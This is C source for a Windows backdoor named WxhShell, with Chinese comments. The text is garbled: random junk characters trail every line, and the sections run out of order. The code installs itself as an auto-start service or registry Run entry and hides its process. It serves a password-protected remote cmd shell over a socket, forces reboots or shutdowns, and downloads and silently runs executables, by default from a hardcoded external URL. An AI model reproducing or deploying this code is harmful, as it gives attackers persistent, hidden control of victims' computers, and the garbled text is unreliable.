    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tTQ>pg1{qh  
    if(Boot(SHUTDOWN)) PjRKYa_U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3tOnALv  
    else { QE-t v00  
    closesocket(wsh); l2n>Wce9  
    ExitThread(0); I>ofSaN  
    } 8kO|t!?:U  
    break; .Jou09+  
    } \N/T^,  
  // 获取shell PT>,:zY  
  case 's': { #pOW2 Uj8\  
    CmdShell(wsh); Sy8o/-  
    closesocket(wsh); 5+,&9;'Y^  
    ExitThread(0); {N7,=(-2=  
    break; ` LU&]NS3  
  } t {x&|%u  
  // 退出 dd98v Vj  
  case 'x': { yK[ ~(!c5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !cWKY \lpv  
    CloseIt(wsh); U/{cYX  
    break; )RA7Y}e|m  
    } ]+fL6"OD/2  
  // 离开 ){8^l0b  
  case 'q': { %H%>6z x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^H&6'A`  
    closesocket(wsh); ]9b*!n<z  
    WSACleanup(); H( cY=d,  
    exit(1); #?8'Z/1 )  
    break; p?6w/n  
        } OP``g/x)  
  } :5C9uW #  
  } GT#iY*  
^Z\1z!{R  
  // 提示信息 IjNE1b$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \kC/)d  
} ]FsPlxk6  
  } 1/ j}VC  
~e'FPVDn  
  return; <3ovCqa  
} -C.eXR{s  
$yc&f(Tv  
// shell模块句柄 ^\Jg {9a  
int CmdShell(SOCKET sock) h9SS o0]F  
{ b:W]L3Z8  
STARTUPINFO si; `[CXxp  
ZeroMemory(&si,sizeof(si)); /UM9g+Bb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W}JJaZR*X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]TD]    
PROCESS_INFORMATION ProcessInfo; vW YN?"d  
char cmdline[]="cmd"; wGb{O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +F4xCz7f  
  return 0; d]w*fn  
} u3c e\  
><^A4s  
// 自身启动模式 tXPS@4F  
int StartFromService(void) i[WTp??Uv  
{ E~{-RZNK  
typedef struct /:C"n|P7Z  
{ 7F.>M  
  DWORD ExitStatus; k6G23p[9  
  DWORD PebBaseAddress; sF(U?)48  
  DWORD AffinityMask; K;S&91V)=  
  DWORD BasePriority; %~$4[,=  
  ULONG UniqueProcessId; D|_}~T>;&  
  ULONG InheritedFromUniqueProcessId; DF9Br D0{  
}   PROCESS_BASIC_INFORMATION; p2w/jJMD  
1 5rE|m^  
PROCNTQSIP NtQueryInformationProcess; .KK"KO5k  
:t9(T?2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H6e ^" E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q/0;r{@Tq}  
ezHj?@  
  HANDLE             hProcess; 7|"11^q  
  PROCESS_BASIC_INFORMATION pbi; -XD\,y%zi  
RI-whA8+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o$Hc5W([Z  
  if(NULL == hInst ) return 0; DHm$gk  
v)rN] b]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +h*&r ~T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 24|:VxO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !tX14O~B-  
0H;dA1  
  if (!NtQueryInformationProcess) return 0; =XudL^GF  
Awe\KJ^`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oLBpG1Va  
  if(!hProcess) return 0; WMl_$Fd6  
$c  f?`k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hq\KSFP  
x"_f$,:!  
  CloseHandle(hProcess); | M-@Qvgh  
0D 0#*J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <6- (a;T!7  
if(hProcess==NULL) return 0; ,cgC_ %  
~5]AXi'e~  
HMODULE hMod; iY.~N#Q  
char procName[255]; `M"b L|[R  
unsigned long cbNeeded; "eGS~-DVK  
p7 2+:I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E/AM<eN  
}{E//o:Ta  
  CloseHandle(hProcess); [xM07%:  
SLZv`  
if(strstr(procName,"services")) return 1; // 以服务启动 ~+^,o_hT  
p|Z"< I7p(  
  return 0; // 注册表启动 /"Rh bE   
} KasOh"W.P  
+Y 3_)  
// 主模块 0-FwHDxw  
int StartWxhshell(LPSTR lpCmdLine) xAz gQ  
{ h :NHReMT  
  SOCKET wsl; A+ Z3b:}~  
BOOL val=TRUE; $W` &7  
  int port=0; :GGsQ n  
  struct sockaddr_in door; K\n %&w  
$m{\<A  
  if(wscfg.ws_autoins) Install(); Wpj.G  
nc@ul')  
port=atoi(lpCmdLine); ZFrK'BvbR  
2Uu,Vv  
if(port<=0) port=wscfg.ws_port; "B)DX*-\?  
C|z`hNp  
  WSADATA data; VwtGHF'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c.jnPVf:  
_FAwW<S4B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T /[)U  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l\MiG Na  
  door.sin_family = AF_INET; aU#8W.~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M(oW;^B  
  door.sin_port = htons(port); <2|x]b 8  
1~Pht:,t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { REFisH-  
closesocket(wsl); ls #O0  
return 1; '[Nu;(>a  
} .%~ L  
a ,W5T8  
  if(listen(wsl,2) == INVALID_SOCKET) { "@`M>)*o  
closesocket(wsl); 0ZPPt(7  
return 1; *4A.R&Vu  
} I+u=H2][2  
  Wxhshell(wsl); [-Q"A 6!Zd  
  WSACleanup(); 9n@jK%m  
P`U5kNN  
return 0; Xb|hP  
X ,T^(p  
} li NPXS+  
sM~CP zMa  
// 以NT服务方式启动 +R#*eo;o7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Nnv&~ D>  
{ ,0#OA* 0B  
DWORD   status = 0; `.[hOQ7  
  DWORD   specificError = 0xfffffff; GlD@Ud>o)  
nJ2l$J<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a$9UUH-|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T_YN^za(q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UPJgTN*  
  serviceStatus.dwWin32ExitCode     = 0; YXD1B`23  
  serviceStatus.dwServiceSpecificExitCode = 0; Eb{TKz?  
  serviceStatus.dwCheckPoint       = 0; SOP= X-6f  
  serviceStatus.dwWaitHint       = 0; <<n8P5pXt  
F!aYK2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~{+J~5!;<H  
  if (hServiceStatusHandle==0) return; t7)Y@gRy  
S :(1=@  
status = GetLastError(); xx/DD%IZ  
  if (status!=NO_ERROR) |k?,4 Pk  
{ [C7:Yg7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .fQDj{  
    serviceStatus.dwCheckPoint       = 0; @X4;fd  
    serviceStatus.dwWaitHint       = 0; \6C"bQ  
    serviceStatus.dwWin32ExitCode     = status; yd>kJk^~/  
    serviceStatus.dwServiceSpecificExitCode = specificError; M c@p~5!M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 17};I7  
    return; }14.u&4  
  } ]G|@F :  
>E)UmO{S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I<[(hPQUf  
  serviceStatus.dwCheckPoint       = 0; qn4Dm ^  
  serviceStatus.dwWaitHint       = 0; B=n]N+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2.; OHQTE  
} .l#Pmd!  
r2U2pAy#  
// 处理NT服务事件,比如:启动、停止 ?:H9xJ_^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sH+]lTSX6{  
{ .:<c[EJ b  
switch(fdwControl) dcXtT3,kpX  
{ i37W^9 R  
case SERVICE_CONTROL_STOP: !pDS*{)E  
  serviceStatus.dwWin32ExitCode = 0; +cj NA2@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u&pLF%'EQ  
  serviceStatus.dwCheckPoint   = 0; pRt )B`#  
  serviceStatus.dwWaitHint     = 0; gvwR16N  
  { @^;\(If2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "gK2!N|#  
  } YZ*Si3L   
  return; 1X#`NUJ?2  
case SERVICE_CONTROL_PAUSE: w8@MUz}/#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xES+m/?KlZ  
  break; 6EPC$*Xp!  
case SERVICE_CONTROL_CONTINUE: drb_GT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u6B (f;  
  break; Zc%S`zK`7  
case SERVICE_CONTROL_INTERROGATE: urtcSq&H'  
  break; CWC*bkd5a  
}; >8>.o[Q&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !4*@H  
} ^z)lEO  
]~a!O  
// 标准应用程序主函数 xnh%nv<v{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5i1>z{  
{ n,V`Y'v)  
tP3H7Yl! g  
// 获取操作系统版本 ?(g kk YI  
OsIsNt=GetOsVer(); 4&`66\p;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I~q}M!v~  
%t<Y6*g  
  // 从命令行安装 Y-9]J(  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1J<-P9 vk+  
:ye)%UU"|:  
  // 下载执行文件 (& ~`!]  
if(wscfg.ws_downexe) { C*c=@VAa  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8<_WtDg  
  WinExec(wscfg.ws_filenam,SW_HIDE); `5q`ibyPI  
} {]Lc]4J  
lg!1q8  
if(!OsIsNt) { .|iUDp6vz  
// 如果时win9x,隐藏进程并且设置为注册表启动 =U,;/f  
HideProc(); Ylo@  
StartWxhshell(lpCmdLine); qBCZ)JEN#U  
} Sb,{+Wk  
else 3QXGbu}:h!  
  if(StartFromService()) KTf!Pf?g  
  // 以服务方式启动 2etlR  
  StartServiceCtrlDispatcher(DispatchTable); 7:1Hgj(  
else '{7A1yJnY%  
  // 普通方式启动 kg !@i7  
  StartWxhshell(lpCmdLine); +<3tv&"  
c4; `3  
return 0; ]v9<^!  
} @aj"1 2  
5_`.9@eh.  
BwL: B\  
071w o7  
=========================================== FPcgQ v;p  
PE4{;|a }  
C?E;sRr0  
@${!C\([1  
e7hPIG  
<BO|.(ys  
" ;dB=/U>3U  
- iJ[9O  
#include <stdio.h> xQmk2S` y  
#include <string.h> Kvk;D ]$  
#include <windows.h> if `/LJsa  
#include <winsock2.h> :$9 4y{  
#include <winsvc.h> nQ/ha9v=n  
#include <urlmon.h> Qs,LK(1  
yLY2_p- X  
#pragma comment (lib, "Ws2_32.lib") G1P m!CM=  
#pragma comment (lib, "urlmon.lib") {AcKBi b  
*, {b]6v  
#define MAX_USER   100 // 最大客户端连接数 =B?uNoe  
#define BUF_SOCK   200 // sock buffer G=b`w;oL:  
#define KEY_BUFF   255 // 输入 buffer AE<AEq  
hl# 9a?  
#define REBOOT     0   // 重启 SJy?^  
#define SHUTDOWN   1   // 关机 f|b|\/.=  
\(;5YCCE  
#define DEF_PORT   5000 // 监听端口 E^|b3G6T  
h,\_F#hi  
#define REG_LEN     16   // 注册表键长度 c[j3_fn1]  
#define SVC_LEN     80   // NT服务名长度 WOg_Pn9HI  
6X'RCJu%  
// 从dll定义API ^ 0TJys%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "@Te!.~A.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k_y@vW3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {&2$1p/9'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ETtK%%F0  
ls/:/x(5d  
// wxhshell配置信息 TuX#;!p6  
struct WSCFG { g0iV#i  
  int ws_port;         // 监听端口 }7&;YAt  
  char ws_passstr[REG_LEN]; // 口令 p R~PB  
  int ws_autoins;       // 安装标记, 1=yes 0=no i#Wl?(-i  
  char ws_regname[REG_LEN]; // 注册表键名 VW'e&v1.  
  char ws_svcname[REG_LEN]; // 服务名 DVCc^5#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k:d'aP3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -gC=%0sp\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nkG 6.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Tl25t^Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0<o#;ZQ]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1`h`-dqr#  
OCR x|  
}; S"}FsS;k<?  
vK$T$SL  
// default Wxhshell configuration JBg",2w |C  
struct WSCFG wscfg={DEF_PORT, %3kqBH!d  
    "xuhuanlingzhe", fTH?t_e  
    1, WM>9sJf  
    "Wxhshell", os#j;C]l  
    "Wxhshell", r]8B6iV  
            "WxhShell Service", 4RdpROK  
    "Wrsky Windows CmdShell Service", B8;ZOLAU  
    "Please Input Your Password: ", d B?I (  
  1, gNxnoOY  
  "http://www.wrsky.com/wxhshell.exe", wN*e6dOF  
  "Wxhshell.exe" N5~g:([k  
    }; M g;;o  
R;,&CQUl  
// 消息定义模块 rl6vt*g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VT+GmS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i{ %~&!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f\|33)k  
char *msg_ws_ext="\n\rExit."; GR|Vwxs<@P  
char *msg_ws_end="\n\rQuit."; &<v# ^2S3  
char *msg_ws_boot="\n\rReboot..."; Z\@vN[[  
char *msg_ws_poff="\n\rShutdown..."; xat)9Yb}0  
char *msg_ws_down="\n\rSave to "; 3xj<ATSe  
9K)OQDv%6D  
char *msg_ws_err="\n\rErr!"; .Yh-m  
char *msg_ws_ok="\n\rOK!"; {Y IVHl  
S Xgpj  
char ExeFile[MAX_PATH]; <QszmE  
int nUser = 0; 8n2* z  
HANDLE handles[MAX_USER]; LkNfcBa_  
int OsIsNt; Mu{mj4Y{  
E!ZDqq  
SERVICE_STATUS       serviceStatus; v&uIxFCR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JRl8S   
ayC*n'  
// 函数声明 ;/e!!P]jP  
int Install(void); A03PEaZO  
int Uninstall(void); fC(lY4,H3R  
int DownloadFile(char *sURL, SOCKET wsh); s7&% _!4  
int Boot(int flag); u8o!ncy  
void HideProc(void); @$t Qz  
int GetOsVer(void); ) Oa"B;\j  
int Wxhshell(SOCKET wsl); ?(ks=rRK  
void TalkWithClient(void *cs); m6g+ B>  
int CmdShell(SOCKET sock); ^t#]E#  
int StartFromService(void); _}Z*%sT  
int StartWxhshell(LPSTR lpCmdLine); PhW#=S  
17nWrTxR$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I80.|KIv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |F6C&GNYT  
OPKm^}  
// 数据结构和表定义 )zr/9aV  
SERVICE_TABLE_ENTRY DispatchTable[] = y.mojx%?a  
{ />+JK5  
{wscfg.ws_svcname, NTServiceMain}, ^DIN(0u)  
{NULL, NULL} }g(aZ  
}; ?#]c{Tlpz  
>5]Xl*{H)  
// 自我安装 vA+RZ  
int Install(void) `W|2Xi=^5  
{ "7gS*v,r  
  char svExeFile[MAX_PATH]; ;'cv?3Y  
  HKEY key; A$|> Jt  
  strcpy(svExeFile,ExeFile); Npq=jlj  
]c$%;!ZE  
// 如果是win9x系统,修改注册表设为自启动 6bfk4k  
if(!OsIsNt) { 8/=[mYn`-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \@I.K+hj$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7b Gzun&  
  RegCloseKey(key); .R:eN&Y 8y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l`,`N+FG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )vy<q/o+  
  RegCloseKey(key); O|av(F9  
  return 0; <!=TxV>}A  
    } U>X06T  
  } <2,@rYe/  
} d6(qc< /!r  
else { IO,kP`Wcx  
36lIV,YnU  
// 如果是NT以上系统,安装为系统服务 m,=$a\UC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yP[GU| >(  
if (schSCManager!=0) (U-p&q>z  
{ hWDgMmo7  
  SC_HANDLE schService = CreateService V+D "_  
  ( >} aykz*g  
  schSCManager, W*8D@a0 _  
  wscfg.ws_svcname, 1eT|  
  wscfg.ws_svcdisp, B&L{/.v_z\  
  SERVICE_ALL_ACCESS, tD>m%1'&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U7:~@eYy  
  SERVICE_AUTO_START, y@hdN=-  
  SERVICE_ERROR_NORMAL, A7: oq7b  
  svExeFile, *~fN^{B'!  
  NULL, 4e*0kItC  
  NULL, %zX'u.}8#  
  NULL, )rj.WK.  
  NULL, f1\x>W4z~\  
  NULL n1$##=wK]  
  ); R HF;AX n  
  if (schService!=0) Yh"Z@D[d  
  { /G84T,H  
  CloseServiceHandle(schService); So!1l7b  
  CloseServiceHandle(schSCManager); iY( hGlV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G+5G,|}  
  strcat(svExeFile,wscfg.ws_svcname); P.[>x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {uckYx-A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MTqbQ69v  
  RegCloseKey(key); %DRDe  
  return 0; Ppx*  
    } 5[*MT%ms  
  } w.0.||C O  
  CloseServiceHandle(schSCManager); l~f +h?cF  
} ~\i uV  
} 5B98}N  
Ha 3XH_  
return 1; e348^S&rG  
} ZJw9 2Sb  
\,(tP:o  
// 自我卸载 E}a3.6)p  
int Uninstall(void) `SIJszqc  
{ AM Rj N;  
  HKEY key; 6^ KDc  
Xi0/Wb h\  
if(!OsIsNt) { XK&#K? M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >EMCG.**  
  RegDeleteValue(key,wscfg.ws_regname); V=S`%1dLN  
  RegCloseKey(key); 8#oF7eE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "@ox=  
  RegDeleteValue(key,wscfg.ws_regname); uCUBs(iD  
  RegCloseKey(key); _$Fi]l!f  
  return 0; [;X YT  
  } ~I'Z=Wo  
} *X<De  
} jCa{WV:K}  
else { r&TxRsg{  
0+S:2i/G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s:fnOMv "  
if (schSCManager!=0) fSun{?{  
{ |-e=P9,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q"Bgr&RJ  
  if (schService!=0) M)b`~|Wt  
  { ? th+~dE  
  if(DeleteService(schService)!=0) { tB1Qr**  
  CloseServiceHandle(schService); }D=h"\_=  
  CloseServiceHandle(schSCManager); `Cb$8;)z  
  return 0; f[ER`!  
  } tv;3~Y0i  
  CloseServiceHandle(schService); -7+Fb^"L  
  } s"Kp+tTWj  
  CloseServiceHandle(schSCManager); 7IIM8/BI  
} :F<a~_k  
} =,?@p{g}  
ZW\h,8%  
return 1; |kVxrq  
} ME |"pJ  
_wX'u,HrC  
// 从指定url下载文件 TZHqn6  
int DownloadFile(char *sURL, SOCKET wsh) MD1,KH+O  
{ Fx.uPY.a  
  HRESULT hr; gjs-j{*  
char seps[]= "/"; n*;mFV0s  
char *token; pkM32v-  
char *file; 95(VY)_6#A  
char myURL[MAX_PATH]; S)[2\Z{**T  
char myFILE[MAX_PATH]; Xt~/8)&  
S[ 2`7'XV  
strcpy(myURL,sURL); Ads^y`b  
  token=strtok(myURL,seps); Bq2}nDP  
  while(token!=NULL) Z1OcGRN!  
  { gr-%9=Uq  
    file=token; |]B]0J#_  
  token=strtok(NULL,seps); $~9U-B\  
  } k}<mmKB  
U O[p   
GetCurrentDirectory(MAX_PATH,myFILE); m<076O4|`  
strcat(myFILE, "\\"); hA~}6Qn  
strcat(myFILE, file); .t}nznh  
  send(wsh,myFILE,strlen(myFILE),0); UbuxD})  
send(wsh,"...",3,0); wicg8[T=B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PB9<jj;  
  if(hr==S_OK) @B[=`9KF[  
return 0; m1`ln5(R  
else "/\:Fdc^  
return 1; g6*}& .&  
5 WAsEP  
} Dic(G[  
E]7G4  
// 系统电源模块 /_56H?w\  
int Boot(int flag) R'80{  
{ JUXK}0d%eN  
  HANDLE hToken; o= 8yp2vG  
  TOKEN_PRIVILEGES tkp; ',CcLN  
AM}OL Hj  
  if(OsIsNt) { %_3{Db`R>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Lh. L~M1X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h7Ma`w\-  
    tkp.PrivilegeCount = 1; 3 +#bkG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m.4y=69 &  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q.8Jgel1  
if(flag==REBOOT) { &MKv _  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Vj:PNt[  
  return 0; oF3#]6`;/  
} 0u0Hl%nl  
else { >&$ V"*]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lca.(3u   
  return 0; {uhw ^)v  
} "w7:{E5e  
  } &0o&!P8CB  
  else { -BjB>Vt  
if(flag==REBOOT) { "o TwMU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J5l:_hZUV  
  return 0; jwE<}y I  
} *vj5J"Y(;t  
else { (d~'H{q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8EP^M~rv  
  return 0; WFh!re%Z  
} |e pe;/  
} 8p!PR^OM@  
:`uo]B"  
return 1; N .SszZh  
} Nd( $s[  
BE m%x 0y  
// win9x进程隐藏模块 _PRm4 :  
void HideProc(void) }ShZ4 xMz  
{ g:*yjj  
~o8$/%Oeb/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7aU*7!U  
  if ( hKernel != NULL ) ]w')~yk  
  { _=cMa's  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FB</~ g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9> (8r+  
    FreeLibrary(hKernel); vu*08<M~i|  
  } w)}[)}T!  
%iX +"  
return; 8 {QvB"w  
} /Db~-$K  
c5]1aFKz  
// 获取操作系统版本 PVvG  
int GetOsVer(void) &-{4JSII  
{ @ 8SYV}0H  
  OSVERSIONINFO winfo; <2R=!n@b\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5 &VLq  
  GetVersionEx(&winfo); aFbA=6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GCIm_ n  
  return 1; v0HFW%YJ^J  
  else &K\di*kN  
  return 0; SIg=_oa   
} E>7[ti_p5  
C f<,\Aav  
// 客户端句柄模块 T{ojla(  
int Wxhshell(SOCKET wsl) ]6(NeS+  
{ A\?O5#m:$  
  SOCKET wsh; ;,F}!R  
  struct sockaddr_in client; 3c ^_IuW-  
  DWORD myID; bS0LjvY9g  
>uI|S  
  while(nUser<MAX_USER) Kj}}O2  
{ }F\0Bl&  
  int nSize=sizeof(client); ap=_odW~p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q#vur o  
  if(wsh==INVALID_SOCKET) return 1; oinF<-(  
6T)D6;@L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KBOxr5w  
if(handles[nUser]==0) 2'/ ip@  
  closesocket(wsh); qUVV374N  
else {=&pnu\  
  nUser++; ^6obxwVG  
  } 0t<TZa]V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x2 tx{Z  
bhFzu[B  
  return 0; o05) I2  
} Iunt!L  
7?F0~[eGG  
// 关闭 socket W>h[aVTO  
void CloseIt(SOCKET wsh) 6r^(VT  
{ =b6Q2s,i  
closesocket(wsh); \.}* s]6  
nUser--; 5Rc 5/m  
ExitThread(0); *}LYMrP  
} #LcF;1o%o2  
rH & ^SNc  
// 客户端请求句柄 I*'QD)  
void TalkWithClient(void *cs) S=o Ab&  
{ j'v2m6/  
xeZ,}YP)  
  SOCKET wsh=(SOCKET)cs; t\'URpa+5%  
  char pwd[SVC_LEN]; 3VcG /rf  
  char cmd[KEY_BUFF]; I]zCsT.  
char chr[1]; ) |*HkdF`  
int i,j; QQ pe.oF  
;K`qSX;;c(  
  while (nUser < MAX_USER) { TqzkF7;k4  
yfi.<G)S  
if(wscfg.ws_passstr) { 3'IF? ](]U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XN??^1{J}]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "S*lI^8Z!  
  //ZeroMemory(pwd,KEY_BUFF); @y)fR.!)1$  
      i=0; F2lTDuk>C  
  while(i<SVC_LEN) { r"k\G\,%  
e6,/ i  
  // 设置超时 vJK0>":G  
  fd_set FdRead; )6Hc Pso6  
  struct timeval TimeOut; iN=-N=  
  FD_ZERO(&FdRead); N^:)U"9*e  
  FD_SET(wsh,&FdRead); bW[Y:}Hk~  
  TimeOut.tv_sec=8; ~-|K5  
  TimeOut.tv_usec=0; BgUf:PT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L`3 g5)V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Fvl_5l  
D/Bb)]9I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  #6@7XC  
  pwd=chr[0]; 5%uLs}{\q  
  if(chr[0]==0xd || chr[0]==0xa) { ~ /]u72?rP  
  pwd=0; L%I@HB9-Q0  
  break; UoBmS 5  
  } *7`;{O  
  i++; iVwI}%k  
    } _6xC4@~h*  
Uz[#t1*  
  // 如果是非法用户,关闭 socket ?%#3p[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j l%27Ld  
} a%V6RyT4qW  
y/Paq^Hd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c?>@P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0LN"azhz  
x^xlH!Sc  
while(1) { ms`R ^6Ra  
YyjnyG  
  ZeroMemory(cmd,KEY_BUFF); sO,,i]a0  
&O7]e3Ej  
      // 自动支持客户端 telnet标准   p^<*v8,~7  
  j=0; r3{Cuz  
  while(j<KEY_BUFF) { E.zY(#S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Hq ]f$Q6:  
  cmd[j]=chr[0]; .\".}4qQ  
  if(chr[0]==0xa || chr[0]==0xd) { 1T!(M"'Ij  
  cmd[j]=0; tp7cc;0  
  break; vYcea  
  } NirG99kyo  
  j++; r[ni{ &  
    } ot8UuBq  
!.Eua3:V*  
  // 下载文件 4'P otv@/  
  if(strstr(cmd,"http://")) { au1uFu-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *@^9 ]$*$  
  if(DownloadFile(cmd,wsh)) L9W'TvTwo  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lpv Z[^G  
  else o]u,<bM$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tHgu#k0  
